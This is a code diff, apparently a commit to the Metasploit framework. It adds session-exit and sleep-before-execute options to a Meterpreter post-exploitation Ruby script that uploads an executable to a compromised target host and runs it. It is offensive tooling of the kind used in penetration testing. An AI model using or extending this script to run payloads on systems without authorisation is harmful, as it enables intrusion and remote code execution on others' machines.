5
5
"-e" => [ true , "Executable or script to upload to target host." ] ,
6
6
"-o" => [ true , "Options for executable." ] ,
7
7
"-p" => [ false , "Path on target to upload executable, default is %TEMP%." ] ,
8
+ "-x" => [ false , "Exit the session once the payload has been run." ] ,
9
+ "-s" => [ true , "Sleep for a number of seconds after uploading before executing." ] ,
8
10
"-v" => [ false , "Verbose, return output of execution of uploaded executable." ] ,
9
11
"-r" => [ false , "Remove the executable after running it (only works if the executable exits right away)" ]
10
12
)
@@ -93,6 +95,8 @@ def unsupported
93
95
path = ""
94
96
verbose = 0
95
97
remove = 0
98
+ quit = 0
99
+ sleep_sec = nil
96
100
@@exec_opts . parse ( args ) { |opt , idx , val |
97
101
case opt
98
102
when "-e"
@@ -105,8 +109,12 @@ def unsupported
105
109
verbose = 1
106
110
when "-h"
107
111
helpcall = 1
112
+ when "-s"
113
+ sleep_sec = val . to_f
108
114
when "-r"
109
115
remove = 1
116
+ when "-x"
117
+ quit = 1
110
118
end
111
119
112
120
}
@@ -116,9 +124,20 @@ def unsupported
116
124
end
117
125
print_status ( "Running Upload and Execute Meterpreter script...." )
118
126
exec = upload ( session , file , path )
127
+ if sleep_sec
128
+ print_status ( "\t Sleeping for #{ sleep_sec } s..." )
129
+ Rex . sleep ( sleep_sec )
130
+ end
119
131
cmd_on_trgt_exec ( session , exec , cmdopt , verbose )
120
132
if remove == 1
121
133
print_status ( "\t Deleting #{ exec } " )
122
134
m_unlink ( session , exec )
123
135
end
136
+
137
+ if quit == 1
138
+ print_status ( "Closing the session..." )
139
+ session . core . shutdown rescue nil
140
+ session . shutdown_passive_dispatcher
141
+ end
142
+
124
143
print_status ( "Finished!" )
0 commit comments